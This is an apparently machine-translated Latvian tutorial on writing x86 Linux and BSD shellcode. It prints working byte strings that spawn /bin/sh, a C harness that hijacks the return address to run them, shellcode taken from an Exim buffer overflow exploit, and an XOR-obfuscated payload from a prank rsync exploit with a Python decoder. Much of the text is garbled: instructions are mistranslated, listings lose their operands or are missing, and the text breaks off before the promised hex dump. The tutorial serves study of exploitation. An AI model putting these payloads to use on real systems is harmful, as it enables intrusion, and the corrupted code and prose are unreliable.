Kas ir apvalka kods? Vīruss operētājsistēmai Linux. Mācīšanās rakstīt čaulas kodus. Veidi, kā čaulas kodu palaist atmiņā

Shellcode ir koda fragments, kas iebūvēts ļaunprātīgā programmā, kas ļauj pēc upura mērķa sistēmas inficēšanas iegūt komandas čaulas kodu, piemēram, /bin/bash UNIX līdzīgās operētājsistēmās, command.com melnā ekrāna MS-DOS. un cmd .exe modernajā operētājsistēmas Microsoft Windows. Ļoti bieži čaulas kods tiek izmantots kā lietderīgā slodze.

Shellcode

Kāpēc tas ir vajadzīgs?

Kā jūs saprotat, nepietiek vienkārši inficēt sistēmu, izmantot ievainojamību vai atspējot kādu sistēmas pakalpojumu. Visu šo darbību mērķis daudzos gadījumos ir iegūt administratora piekļuvi inficētajai mašīnai.

Tātad ļaunprātīga programmatūra ir tikai veids, kā iekļūt mašīnā un iegūt čaulu, tas ir, kontroli. Un tas ir tiešs ceļš uz konfidenciālas informācijas nopludināšanu, robottīklu tīklu izveidi, kas mērķa sistēmu pārvērš par zombijiem vai vienkārši citu destruktīvu funkciju veikšanu uzlauztā mašīnā.

Shellcode parasti tiek ievadīts resursdatora programmas atmiņā, pēc tam kontrole tiek nodota uz to, izmantojot tādas kļūdas kā steku pārpildes vai kaudzes bufera pārpildes, vai izmantojot formāta virkņu uzbrukumus.

Vadība tiek pārsūtīta uz čaulas kodu, pārrakstot atgriešanas adresi stekā ar iegultā čaulas koda adresi, pārrakstot izsaukto funkciju adreses vai mainot pārtraukumu apstrādātājus. Tā visa rezultāts būs atvērtā čaulas koda izpilde komandrinda uzbrucēja lietošanai.

Izmantojot attālo ievainojamību (tas ir, ļaunprātīgu izmantošanu), čaulas kods var tikt atvērts ievainojams dators iepriekš definēts TCP ports tālākai darbībai attālināta piekļuve uz komandu čaulu. Šo kodu sauc par porta saistošo čaulas kodu.

Ja čaulas kods ir savienots ar uzbrucēja datora portu (lai apietu vai izplūstu caur NAT), tad šādu kodu sauc par reverse shell kodu.

Veidi, kā čaulas kodu palaist atmiņā

Ir divi veidi, kā čaulas kodu palaist atmiņā izpildei:

  • No pozīcijas neatkarīgā koda (PIC) metode ir kods, kas izmanto stingru binārā koda (tas ir, koda, kas tiks izpildīts atmiņā) saistīšanu ar noteiktu adresi vai datiem. Čaula kods būtībā ir PIC. Kāpēc cieša iesiešana ir tik svarīga? Shell nevar zināt, kur tieši brīvpiekļuves atmiņa tiks atrasts, jo izpildlaikā dažādas versijas Uzlauztas programmas vai ļaunprātīgas programmatūras gadījumā tās var ielādēt čaulas kodu dažādās atmiņas šūnās.
  • Izpildes vietas noteikšanas metode pieprasa, lai čaulas kods, piekļūstot datiem no pozīcijas neatkarīgā atmiņas struktūrā, noņemtu atsauci uz pamatā esošo rādītāju. Vērtību pievienošana (pievienošana) vai atņemšana (samazināt) no pamatā esošā rādītāja ļauj droši piekļūt datiem, kas ir iekļauti čaulas kodā.

Žurnāls FreeBSD, 09.2010

Apvalka kods ir mašīnu komandu secība, ko var izmantot darbojas programma var būt spiests darīt kaut ko alternatīvu. Izmantojot šo metodi, varat izmantot dažas programmatūras ievainojamības (piemēram, steka pārpildes, kaudzes pārpildes, formāta virknes ievainojamības).

Piemērs tam, kā varētu izskatīties čaulas kods:

char shellcode = "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\ x76\x08\x89\x46" "\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d \x56\x0c\xcd\x80" "\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\ x2f\x73\x68";

Tas ir, vispārīgi runājot, šī ir baitu secība mašīnvalodā. Šī dokumenta mērķis ir pārskatīt visizplatītākās metodes čaulas koda izstrādei Linux un *BSD sistēmām, kas darbojas ar x86 arhitektūru.

Rakņājoties pa internetu, jūs varat viegli atrast gatavus čaulas koda piemērus, kas jums vienkārši jānokopē un jāievieto pareizajā vietā. Kāpēc pētīt tās attīstību? Manuprāt, ir vismaz pāris labi iemesli:

Pirmkārt, pirms lietošanas gandrīz vienmēr ir laba ideja apgūt kaut ko iekšējo, kas palīdz izvairīties no nepatīkamiem pārsteigumiem (šis jautājums tiks apspriests vēlāk vietnē http://www.kernel-panic.it/security/shellcode/shellcode6 .html informācija);

Otrkārt, paturiet prātā, ka čaulas kods var darboties pilnīgi dažādās vidēs, piemēram, ievades-izejas filtri, virkņu manipulācijas apgabali, IDS, un ir lietderīgi iedomāties, kā tas ir jāmaina, lai tas atbilstu apstākļiem;

Turklāt ievainojamību izmantošanas jēdzieni palīdzēs rakstīt drošākas programmas.

Tālāk noderēs IA-32 arhitektūras montētāja zināšanas, jo mēs apskatīsim tādas tēmas kā reģistra lietošana, atmiņas adresēšana un citas līdzīgas tēmas. Jebkurā gadījumā raksta beigās ir vairāki materiāli, kas noder, lai apgūtu vai atsvaidzinātu pamatinformāciju par montāžas programmēšanu. Nepieciešamas arī pamatzināšanas par Linux un *BSD.

Linux sistēmas zvani
Lai gan čaulas kods principā var darīt jebko, galvenais tā palaišanas mērķis ir iegūt piekļuvi komandu tulkam (apvalkam) mērķa mašīnā, vēlams priviliģētajā režīmā, no kurienes cēlies nosaukuma apvalka kods.
Vienkāršākais un tiešākais veids, kā veikt sarežģītu uzdevumu montāžas valodā, ir izmantot sistēmas izsaukumus. Sistēmas izsaukumi nodrošina saskarni starp lietotāja telpu un kodola telpu; citiem vārdiem sakot, tas ir veids, kā lietotāja programma var saņemt pakalpojumus no kodola pakalpojumiem. Tā notiek, piemēram, vadība failu sistēma, tiek palaisti jauni procesi, tiek nodrošināta piekļuve ierīcēm utt.
Kā parādīts 1. sarakstā, sistēmas izsaukumi ir definēti failā /usr/src/linux/include/asmi386/unistd.h, katrs ar numuru.
Ir divi standarta veidi, kā izmantot sistēmas zvanus:

Iespējot programmatūras pārtraukumu 0x80;
- iesaiņojuma funkcijas izsaukšana no libc.

Pirmā metode ir pārnēsājamāka, jo to var izmantot jebkurai Linux izplatīšana(noteikts pēc kodola koda). Otrā metode ir mazāk pārnēsājama, jo to nosaka standarta bibliotēkas kods.

int 0x80
Sīkāk apskatīsim pirmo metodi. Kad procesors saņem pārtraukumu 0x80, tas pāriet kodola režīmā un izpilda pieprasīto funkciju, iegūstot nepieciešamo apdarinātāju no pārtraukuma deskriptoru tabulas. Sistēmas izsaukuma numurs ir jādefinē EAX, kas galu galā ietvers atgriešanas vērtību. Savukārt funkciju argumentiem, kuru skaits ir līdz sešiem, jābūt ietvertiem EBX, ECX, EDX, ESI, EDI un EBP, tādā secībā un tikai vajadzīgajā skaitā reģistru, nevis visos. Ja funkcijai ir nepieciešami vairāk nekā seši argumenti, tie jāievieto struktūrā un jāsaglabā rādītājs uz pirmo elementu EBX.

Jāatceras, ka Linux kodoli pirms versijas 2.4 neizmanto EBP reģistru, lai nodotu argumentus, un tāpēc caur reģistriem var nodot tikai piecus argumentus.

Pēc sistēmas izsaukuma numura un parametru saglabāšanas atbilstošajos reģistros tiek izsaukts pārtraukums 0x80: procesors pāriet kodola režīmā, izpilda sistēmas izsaukumu un nodod vadību lietotāja procesam. Lai reproducētu šo scenāriju, jums ir nepieciešams:

Izveidojiet struktūru atmiņā, kas satur sistēmas izsaukuma parametrus;
- saglabāt rādītāju uz pirmo argumentu EBX;
- izpildīt programmatūras pārtraukumu 0x80.

Vienkāršākais piemērs saturēs klasisko - izejas(2) sistēmas izsaukumu. No faila /usr/src/linux/include/asm-i386/unistd.h mēs uzzinām tā numuru: 1. Man lapa mums pateiks, ka ir tikai viens nepieciešamais arguments (statuss), kā parādīts 2. sarakstā.

Mēs to saglabāsim EBX reģistrā. Tāpēc ir nepieciešami šādi norādījumi:

exit.asm mov eax, 1 ; _exit(2) syscall mov ebx numurs, 0 ; statuss int 0x80 ; Pārtraukums 0x80

libc
Kā teikts, cits standarta metode ir izmantot funkciju C. Apskatīsim, kā tas tiek darīts, piemēram, izmantojot vienkāršu C programmu:

exit.c galvenais () ( izeja(0); )

Jums tas vienkārši ir jāapkopo:

$ gcc -o iziet exit.c

Izjauksim to, izmantojot gdb, lai pārliecinātos, ka tas izmanto to pašu sistēmas izsaukumu (3. saraksts).

3. saraksts. Izejas programmas izjaukšana, izmantojot gdb atkļūdotāju$ gdb ./exit GNU gdb 6.1-debian Autortiesības 2004 Free Software Foundation, Inc. GDB ir bezmaksas programmatūra, uz kuru attiecas GNU vispārējā publiskā licence, un jūs varat to mainīt un/vai izplatīt tās kopijas noteiktos apstākļos. Lai redzētu nosacījumus, ierakstiet "rādīt kopēšanu". GDB nav absolūti nekādas garantijas. Lai iegūtu sīkāku informāciju, ierakstiet "rādīt garantiju". Šis GDB tika konfigurēts kā "i386-linux"...Izmantojot resursdatora libthread_db bibliotēku "/lib/ libthread_db.so.1". (gdb) break main 1. pārtraukuma punkts pie 0x804836a (gdb) palaist Startēšanas programma: /ramdisk/var/tmp/exit 1. pārtraukuma punkts, 0x0804836a galvenajā () (gdb) disas main Funkcijas galvenā montētāja koda dump: 0x08048364: push %ebp 0x08048365: mov %esp,%ebp 0x08048367: sub $0x8,%esp 0x0804836a: un $0xffffffff0,%esp 0x0804836d: mov $0x0,%eax 0x02x:4 %3x0280:4 vl $0x0,(%esp) 0x0804837b: zvaniet 0x8048284 Montētāja izgāztuves beigas. (gdb)

Pēdējā funkcija main() ir izsaukums (3). Tālāk mēs redzam, ka exit(3) savukārt izsauc _exit(2), kas izsauc sistēmas izsaukumu, ieskaitot pārtraukumu 0x80, 4. sarakstu.

Saraksts 4. Sistēmas zvana veikšana(gdb) disas exit Funkcijas izejas montētāja koda izvads: [...] 0x40052aed: mov 0x8(%ebp),%eax 0x40052af0: mov %eax,(%esp) 0x40052af3: izsaukt 0x400ced9c<_exit>[...] Montētāja izgāztuves beigas. (gdb) disas _exit Funkcijas _exit montētāja koda izplūde: 0x400ced9c<_exit+0> <_exit+4>: mov $0xfc,%eax 0x400ceda5<_exit+9>: int $ 0x80 0x400ceda7<_exit+11>: mov $0x1,%eax 0x400cedac<_exit+16>: int $ 0x80 0x400cedae<_exit+18>: hlt 0x400cedaf<_exit+19>

Tādējādi shellcode, izmantojot libc, netieši izsauc sistēmas izsaukumu _exit(2):

push dword 0 ; statusa izsaukums 0x8048284 ; Izsauciet funkciju libc exit() ;(adrese iegūta no iepriekš minētās demontāžas) add esp, 4 ; Notīriet kaudzi

*BSD sistēmas zvani
*BSD saimē sistēmas izsaukumi izskatās nedaudz atšķirīgi; netiešajos izsaukumos (izmantojot libc funkciju adreses) nav atšķirības.
Sistēmas izsaukuma numuri ir norādīti failā /usr/src/sys/kern/syscalls.master, šajā failā ir arī funkciju prototipi. 5. saraksts parāda faila sākumu OpenBSD:

Pirmajā rindā ir sistēmas izsaukuma numurs, otrajā - tā veids, trešajā - funkcijas prototips. Atšķirībā no Linux, *BSD sistēmas izsaukumos netiek izmantota ātrā izsaukšanas metode, kurā argumenti tiek ievietoti reģistros, bet gan tiek izmantoti C stila stumšanas argumenti stekā. Ir ievietoti argumenti apgrieztā secībā, sākot no galējā labās puses, tāpēc tie tiks izgūti pareizajā secībā. Tūlīt pēc atgriešanās no sistēmas izsaukuma steka ir jānotīra, steka nobīdes rādītājā ievietojot baitu skaitu, kas vienāds ar visu argumentu garumu (vai, vienkāršāk sakot, pievienojot baitus, kas vienādi ar argumentu skaitu, kas reizināts ar 4). . EAX reģistra loma ir tāda pati kā Linux, tajā ir sistēmas izsaukuma numurs un galu galā ir atgriešanas vērtība.

Tādējādi sistēmas izsaukuma izpildei ir jāveic četras darbības:

Zvana numura saglabāšana EAX;
- argumentu ievietošana stekā apgrieztā secībā;
- programmatūras pārtraukuma 0x80 izpilde;
- kaudzes tīrīšana.

Linux piemērs, kas pārveidots par *BSD, izskatītos šādi:

exit_BSD.asm mov eax, 1 ; Syscall numurs push dword 0 ; rval push eax ; Spiediet vēl vienu dword (skatīt zemāk) int 0x80 ; 0x80 pārtraukums pievienot esp, 8 ; Notīriet kaudzi

Apvalka koda rakstīšana
Tālāk norādītos piemērus, kas paredzēti Linux, var viegli pielāgot *BSD pasaulei. Lai iegūtu gatavo čaulas kodu, mums vienkārši jāiegūst opkodi, kas atbilst montāžas instrukcijām. Lai iegūtu opkodus, parasti tiek izmantotas trīs metodes:

To rakstīšana manuāli (ar Intel dokumentāciju rokā!);
- montāžas koda rakstīšana un pēc tam operētājkoda izvilkšana;
- koda rakstīšana C valodā un pēc tam tā izjaukšana.

Tagad apskatīsim atlikušās divas metodes.

Montētājā
Pirmais solis ir izmantot montāžas kodu no exit.asm piemēra, izmantojot sistēmas izsaukumu _exit(2). Lai iegūtu opkodus, mēs izmantojam nasm un pēc tam izjaucam salikto bināro failu, izmantojot objdump, kā parādīts 6. sarakstā.

Otrajā kolonnā ir mums nepieciešamie mašīnu kodi. Tātad mēs varam uzrakstīt savu pirmo čaulas kodu un pārbaudīt to, izmantojot vienkāršu C programmu, kas ņemta no http://www.phrack.org/

Uzskaitījums 7. Opkoda pārbaude sc_exit.c char shellcode = "\xbb\x00\x00\x00\x00" "\xb8\x01\x00\x00\x00" "\xcd\x80"; int main() ( int *ret; ret = (int *)&ret + 2; (*ret) = (int) shellcode; )

Neskatoties uz šīs pieejas popularitāti, verifikācijas programmas C kods var šķist nepietiekami skaidrs. Tomēr tas vienkārši pārraksta funkcijas main () adresi ar čaulas koda adresi, lai izpildītu čaulas koda instrukcijas galvenajā (). Pēc pirmās instrukcijas steks attīstās šādi:

Atgriešanās adrese (novietota ar CALL instrukciju), kas jāievieto EIP izejot;
- saglabāts EBP (jāatjauno, izejot no funkcijas);
- ret (pirmais lokālais mainīgais funkcijā main())

Otrā instrukcija palielina ret mainīgā adresi par astoņiem baitiem (divi dwords), lai iegūtu atgriešanas adreses adresi, tas ir, rādītāju uz pirmo instrukciju, kas tiks izpildīta main(). Visbeidzot, trešā instrukcija pārraksta adresi ar čaulas koda adresi. Šajā brīdī programma iziet no main(), atjauno EBP, saglabā čaulas koda adresi EIP un izpilda to. Lai skatītu visas šīs darbības, jums ir jāapkopo un jāpalaiž sc_exit.c:

$ gcc -o sc_exit sc_exit.c $ ./sc_exit $

Ceru, ka tava mute atvērās pietiekami plaši. Lai nodrošinātu čaulas koda izpildi, vienkārši palaidiet lietojumprogrammu sadaļā strace, 8. saraksts.

Saraksts 8. Testa lietojuma izsekošana$ strace ./sc_exit execve("./sc_exit", ["./sc_exit"], ) = 0 uname((sys="Linux", node="Knoppix", ...)) = 0 brk(0) = 0x8049588 old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40017000 access("/etc/ld.so.nohwcap", E_NOENT) = -1 fails atvērts ("/etc/ld.so.preload", O_RDONLY) = -1 ENOENT (nav šāda faila vai direktorija) atvērts ("/etc/ld.so.cache", O_RDONLY) = 3 fstat64(3, (st_mode=S_IFREG) |0644, st_size=60420, ...)) = 0 old_mmap(NULL, 60420, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40018000 close(3) = 0 access ("/etc/ld.so.nohwcap", F_OK ) = -1 ENOENT (nav šāda faila vai direktorija) atvērts ("/lib/libc.so.6", O_RDONLY) = 3 lasīt(3, "\177ELF\1\1\1\0\0\0\0 \0\0\0\0\0\3\0\3\0\1\0\0\0\200^\1"..., 512) = 512 fstat64(3, (st_mode=S_IFREG|0644) , st_size=1243792, ...)) = 0 old_mmap(NULL, 1253956, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x40027000 old_mmap(0x4014f000, M_PATĪVA_PRIEK. ED, 3, 0x127000) = 0x4014f000 old_mmap(0x40157000, 8772, PROT_LASĪT|PROT_RAKSTĪT, KARTES_PRIVĀTS|KARTE_FIKSĒTA|KARTE_ANONĪMA, -1, 0) = 0x40157000 aizvērt(3) = 0 munmap(0x4001800 20) = 0x4001800 2, $

Pēdējā rinda ir izsaukums uz _exit(2). Tomēr, aplūkojot čaulas kodu, mēs redzam nelielu problēmu: tajā ir daudz nulles baitu. Tā kā čaulas kods bieži tiek ierakstīts virknes buferī, šie baiti nonāks rindas atdalītājā un uzbrukums neizdosies. Ir divi veidi, kā atrisināt problēmu:

Uzrakstiet instrukcijas, kurās nav nulles baitu (un tas ne vienmēr ir iespējams);
- rakstiet čaulas kodu, lai to manuāli modificētu, noņemot nulles baitus, lai izpildes laikā kods pats pievienotu nulles baitus, saskaņojot virkni ar atdalītāju.

Apskatīsim pirmo metodi.
Pirmo instrukciju (mov ebx, 0) var modificēt, lai tā būtu biežāka (veiktspējas apsvērumu dēļ):

xor ebx, ebx

Otrajā instrukcijā ir visas šīs nulles, jo tiek izmantots 32 bitu reģistrs (EAX), tādējādi tiek iegūti 0x01, kas kļūst par 0x01000000 (numuri ir apgrieztā secībā, jo Intel® ir mazs endian procesors). Tātad mēs varam atrisināt šo problēmu, vienkārši izmantojot astoņu bitu reģistru (AL):

kustība, 1

Tagad mūsu montāžas kods izskatās šādi:

xor ebx, ebx mov al, 1 int 0x80

un bez nulles baitiem (9. saraksts).

Saraksts 9. Pārbauda čaulas kodu$ nasm -f exit2.asm $ objdump -d exit2.o exit2.o: faila formāts elf32-i386 Sadaļas .text demontāža: 00000000<.text>: 0: 31 db xor %ebx,%ebx 2: b0 01 mov $0x1,%al 4: cd 80 int $0x80 $
Ieraksts 10. Exit.c binārs atvērts ar gdb$ gdb ./exit GNU gdb 6.1-debian Autortiesības 2004 Free Software Foundation, Inc. GDB ir bezmaksas programmatūra, uz kuru attiecas GNU vispārējā publiskā licence, un jūs varat to mainīt un/vai izplatīt tās kopijas noteiktos apstākļos. Lai redzētu nosacījumus, ierakstiet "rādīt kopēšanu". GDB nav absolūti nekādas garantijas. Lai iegūtu sīkāku informāciju, ierakstiet "rādīt garantiju". Šis GDB tika konfigurēts kā "i386-linux"...Izmantojot resursdatora libthread_db bibliotēku "/lib/ libthread_db.so.1". (gdb) pārtraukt galveno 1. pārtraukuma punktu pie 0x804836a (gdb) palaist Programmas palaišana: /ramdisk/var/tmp/exit 1. pārtraukuma punkts, 0x0804836a galvenajā () (gdb) disas _exit Funkcijas _exit montētāja koda dump: 0x400c<_exit+0>: mov 0x4(%esp),%ebx 0x400ceda0<_exit+4>: mov $0xfc,%eax 0x400ceda5<_exit+9>: int $ 0x80 0x400ceda7<_exit+11>: mov $0x1,%eax 0x400cedac<_exit+16>: int $ 0x80 0x400cedae<_exit+18>: hlt 0x400cedaf<_exit+19>: nē Montētāja izgāztuves beigas. (gdb)

Kā redzat, funkcija _exit(2) faktiski izmanto divus sistēmas izsaukumus: 0xfc (252), _exit_group(2) un pēc tam _exit(2). _exit_group(2) ir līdzīgs _exit(2), taču tā mērķis ir pārtraukt visus grupas pavedienus. Mūsu kodam patiešām ir nepieciešams tikai otrais sistēmas izsaukums.

Izņemsim operācijas kodus:

(gdb) x/4bx _exit 0x400ced9c<_exit>: 0x8b 0x5c 0x24 0x04 (gdb) x/7bx _exit+11 0x400ceda7<_exit+11>: 0xb8 0x01 0x00 0x00 0x00 0xcd 0x80 (gdb)

Tāpat kā iepriekšējā piemērā, jums būs jāpārvar nulles baiti.

Konsoles iegūšana
Ir pienācis laiks uzrakstīt čaulas kodu, kas ļaus jums paveikt ko noderīgāku. Piemēram, mēs varētu izveidot kodu, lai piekļūtu konsolei un pēc konsoles izveidošanas tīri izietu. Vienkāršākā pieeja šeit ir izmantot execve(2) sistēmas izsaukumu. Noteikti apskatiet mana lapu, 11. saraksts.

Listing 11. man 2 execve EXECVE(2) Linux programmētāja rokasgrāmata EXECVE(2) NAME execve — izpildiet programmu KOPSAVILKUMS #include int execve(const char *faila nosaukums, char *const argv, char *const envp); DESCRIPTION execve() izpilda programmu, uz kuru norādīts faila nosaukums. faila nosaukumam jābūt vai nu bināram izpildāmam failam, vai skriptam, kas sākas ar rindiņu formā "#! tulks ". Pēdējā gadījumā tulkam ir jābūt derīgam izpildāmā faila ceļa nosaukumam, kas pats nav skripts, un tas tiks izsaukts kā tulka faila nosaukums. argv ir argumentu virkņu masīvs, kas tiek nodots jaunajai programmai. envp ir masīvs virkņu, parasti no formas kā jaunās programmas vide. Gan argv, gan envp ir jābeidz ar nulles rādītāju. Argumentu vektoram un videi var piekļūt izsauktās programmas galvenā funkcija, ja tā ir definēta kā int galvenais (int argc, char * argv, char * envp). [...]

Mums ir jāiztur trīs argumenti:

Rādītājs uz izpildāmās programmas nosaukumu, mūsu gadījumā rādītājs uz rindiņu /bin/sh;
- rādītājs uz virkņu masīvu, kas nodots kā programmas argumenti, pirmajam argumentam jābūt argv, tas ir, pašas programmas nosaukumam, pēdējam argumentam jābūt nulles rādītājam;
- rādītājs uz virkņu masīvu, lai tās nodotu kā programmas vidi; Šīs virknes parasti tiek norādītas formātā atslēga=vērtība, un pēdējam masīva elementam ir jābūt nulles rādītājam. C versijā tas izskatās apmēram šādi:

Saliksim to kopā un redzēsim, kā tas darbojas:

Nu, labi, mēs saņēmām čaulu. Tagad apskatīsim, kā izskatās šis sistēmas izsaukums assemblerā (tā kā mēs izmantojām trīs argumentus, struktūras vietā varam izmantot reģistrus). Tūlīt parādās divas problēmas:

Pirmā problēma ir zināma: mēs nevaram atstāt nulles baitus čaulas kodā, taču šajā gadījumā arguments ir virkne (/bin/sh), kas tiek pabeigta ar nulles baitu. Un mums ir jānodod divi nulles norādes starp argumentiem execve (2)!
- otrā problēma ir atrast līnijas adresi. Absolūtās atmiņas adresēšana ir sarežģīta, un tas arī padarīs čaulas kodu praktiski nepārnēsājamu.

Lai atrisinātu pirmo problēmu, mēs nodrošināsim, lai mūsu čaulas kods izpildes laikā varētu ievietot nulles baitus pareizajās vietās. Lai atrisinātu otro problēmu, mēs izmantosim relatīvo adresāciju. Klasiskā metode čaulas koda adreses atgūšanai ir sākt ar CALL paziņojumu. Faktiski pirmā lieta, ko CALL dara, ir nākamā baita adrese nospiešana stekā, lai pēc izsauktās funkcijas atgriešanās to varētu iespiest (ar RET instrukciju) EIP. Pēc tam izpilde pāriet uz adresi, norādīts pēc parametra ZVANIET instrukcijas. Tādā veidā mēs iegūstam rādītāju uz mūsu virkni: pirmā baita adrese pēc CALL ir pēdējā steka vērtība, un mēs to varam viegli iegūt, izmantojot POP. Tātad vispārējais čaulas koda plāns būtu apmēram šāds:

Saraksts 12. jmp short mycall ; Nekavējoties pārejiet uz izsaukuma instrukciju shellcode: pop esi ; Saglabājiet "/bin/sh" adresi ESI [...] mycall: call shellcode ; Nospiediet stekā nākamā baita adresi: nākamais db "/bin/sh" ; baits ir virknes "/bin/sh" sākums

Apskatīsim, ko tas dara:

Pirmkārt, čaulas kods pāriet uz CALL instrukciju;
- CALL nospiež rindas /bin/sh adresi stekā, kas vēl nav beigusies ar nulles baitu; db direktīva vienkārši inicializē baitu secību; tad izpilde atkal pāriet uz čaulas koda sākumu;
- virknes adrese pēc tam tiek izņemta no steka un saglabāta ESI. Tagad mēs varam piekļūt atmiņas adresei, izmantojot virknes adresi.

No šī brīža varat izmantot čaulas koda struktūru, kas piepildīta ar kaut ko noderīgu. Soli pa solim analizēsim plānotās darbības:

Pad EAX ar nullēm, lai tās būtu pieejamas mūsu vajadzībām;
- rindu pārtraucam ar nulles baitu, kas nokopēts no EAX (izmantosim AL reģistru);
- pajautāsim sev, ka ECX saturēs argumentu masīvu, kas sastāv no virknes adreses un nulles rādītāja; šis uzdevums tiks paveikts, ierakstot ESI ietverto adresi pirmajos trīs baitos un pēc tam nulles rādītāju (nulles atkal ņemtas no EAX);
- saglabājiet sistēmas izsaukuma numuru (0x0b) EAX;
- saglabājiet pirmo argumentu execve(2) (tas ir, ESI saglabātā virknes adrese) EBX;
- saglabājiet masīva adresi ECX (ESI + 8);
- saglabāt nulles rādītāja adresi EDX (ESI+12);
- izpildīt pārtraukumu 0x80.

Iegūtais montāžas kods ir parādīts 13. sarakstā.

Saraksts 13. Pārstrādāts montāžas kods get_shell.asm jmp short mycall ; Nekavējoties pārejiet uz izsaukuma instrukciju shellcode: pop esi ; Saglabājiet "/bin/sh" adresi ESI xor eax, eax ; Zero out EAX mov byte, al; Virknes beigās ierakstiet nulles baitu mov dword, esi; , t.i. atmiņa tieši zem virknes; "/bin/sh" saturēs masīvu, uz kuru norāda ; otrais execve(2) arguments; tāpēc mēs uzglabājam; virknes adrese... mov dword , eax ; ...un NULL rādītājā (EAX ir 0) mov al, 0xb ; Saglabājiet syscall numuru (11) EAX lea ebx, ; Kopējiet virknes adresi EBX lea ecx, ; Otrais arguments execve(2) lea edx, ; Trešais arguments uz execve(2) (NULL rādītājs) int 0x80 ; Izpildīt sistēma izsaukt mycall: call shellcode ; Nospiediet adresi "/bin/sh" stekā db "/bin/sh"

Izņemsim operācijas kodus, 14. saraksts:

$ gcc -o get_shell get_shell.c $ ./get_shell sh-2.05b$ iziet $

Uzticība ir laba...
Apskatīsim čaulas kodu no exploit (http://www.securityfocus.com/bid/12268/info/), ko rakstījis Rafaels Sanmigels Karrasko. Tas izmanto bufera pārpildes ievainojamību pasta programma Exim:

static char shellcode= "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\ xb0\x0b\x89" "\xf3\x8d\x4e\x08\ x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\ x62\x69\x6e" "\x2f\x73\x68\x58";

Izjauksim, izmantojot ndisasm, vai iegūsim kaut ko pazīstamu? Saraksts 16.

Uzskaitījums 16. Izjaukšana ar ndiasmu$ echo -ne "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89"\ "\xf3\x8d\x4e\x08 \x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e"\ "\x2f\x73\x68\x58" | ndisasm -u - 00000000 EB17 jmp īss 0x19 ; Sākotnējais lēciens uz CALL 00000002 5E pop esi ; Saglabājiet virknes adresi ; ESI 00000003 897608 mov ,esi ; Ierakstiet virknes adresi ; ESI + 8 00000006 31C0 xor eax,eax ; No nulles EAX 00000008 884607 mov ,al ; Nulle-beigt virkni 0000000B 89460C mov ,eax ; Uzrakstiet nulles rādītāju uz ESI + 12 0000000E B00B mov al,0xb ; Execve(2) syscall numurs 00000010 89F3 mov ebx,esi ; Saglabājiet virknes adresi ; EBX (pirmais arguments) 00000012 8D4E08 lea ecx, ; Otrais arguments (rādītājs uz masīvu ; masīvs) 00000015 31D2 xor edx,edx ; Nulle no EDX (trešais arguments) 00000017 CD80 int 0x80 ; Izpildiet syscall 00000019 E8E4FFFFFF izsaukumu 0x2; Nospiediet virknes adresi un ; pāriet uz otro; instrukcija 0000001E 2F das; "/bin/shX" 0000001F 62696E bound ebp, 00000022 2F das 00000023 7368 jnc 0x8d 00000025 58 pop eax $

...bet labāka kontrole
Tomēr labākā prakse joprojām ir ieradums pārbaudīt čaulas kodu pirms tā izmantošanas. Piemēram, 2004. gada 28. maijā palaidnis publicēja publisku rsync izmantošanu (http://www.seclists.org/lists/fulldisclosure/2004/May/1395.html), taču kods bija neskaidrs: pēc sadaļas labi komentēts kods bija neuzkrītošs gabals, 17. saraksts.

Pēc main() skatīšanas kļuva skaidrs, ka izmantošana darbojās lokāli:

(garš) funkcija = [...] funct();

Tādējādi, lai saprastu, ko dara čaulas kods, mums tas nav jāpalaiž, bet gan jāizjauc, 18. saraksts.

Saraksts 18. Izjaukts, slikti redzams čaulas kods$ echo -ne "\xeb\x10\x5e\x31\xc9\xb1\x4b\xb0\xff\x30\x06\xfe\xc8[...]" | \ > ndisasm -u - 00000000 EB10 jmp īss 0x12 ; Jum to the CALL 00000002 5E pop esi ; Izgūt baita adresi 0x17 00000003 31C9 xor ecx, ecx ; Zero out ECX 00000005 B14B mov cl,0x4b ; Iestatiet cilpas skaitītāju (skatiet ; instrukcija 0x0E) 00000007 B0FF mov al,0xff ; Iestatiet XOR masku 00000009 3006 xor ,al ; XOR baits 0x17 ar AL 0000000B FEC8 dec al ; Samaziniet XOR masku 0000000D 46 inc esi ; Ielādēt nākamā baita adresi 0000000E E2F9 cilpa 0x9 ; Saglabāt XORing līdz ECX=0 00000010 EB05 jmp short 0x17 ; Pāriet uz pirmo XORed instrukciju 00000012 E8EBFFFFFF izsaukums 0x2 ; PUSH nākamā baita adresi un ; pāriet uz otro instrukciju 00000017 17 pop ss [...]

Kā redzat, šis ir pašmodificējošs čaulas kods: instrukcijas no 0x17 līdz 0x4B izpildes laikā tiek atšifrētas, XORizņemot to vērtību no AL, kas vispirms tiek papildināta ar 0xFF un pēc tam tiek samazināta katrā cilpas piegājienā. Pēc dekodēšanas tiek izpildīta instrukcija (jmp short 0x17). Mēģināsim saprast, kura instrukcija patiesībā tiek izpildīta. Mēs varam atšifrēt čaulas kodu, izmantojot Python, Listing 19.

Saraksts 19. Apvalka koda dekodēšana, izmantojot Python decode.py #!/usr/bin/env python sc = "\xeb\x10\x5e\x31\xc9\xb1\x4b\xb0\xff\x30\x06\xfe\xc8\x46\xe2\xf9" + \ "\xeb\x05\xe8\xeb\xff\xff\xff\x17\xdb\xfd\xfc\xfb\xd5\x9b\x91\x99" + \ "\xd9\x86\x9c\xf3\x81\x99\ xf0\xc2\x8d\xed\x9e\x86\xca\xc4\x9a\x81" + \ "\xc6\x9b\xcb\xc9\xc2\xd3\xde\xf0\xba\xb8\xaa\xf4\xb4\ xac\xb4\xbb" + \ "\xd6\x88\xe5\x13\x82\x5c\x8d\xc1\x9d\x40\x91\xc0\x99\x44\x95\xcf" + \ "\x95\x4c\ x2f\x4a\x23\xf0\x12\x0f\xb5\x70\x3c\x32\x79\x88\x78\xf7" + \ "\x7b\x35" print ".join()])

Hex dump sniegs mums pirmo ideju: skatiet 20. sarakstu.

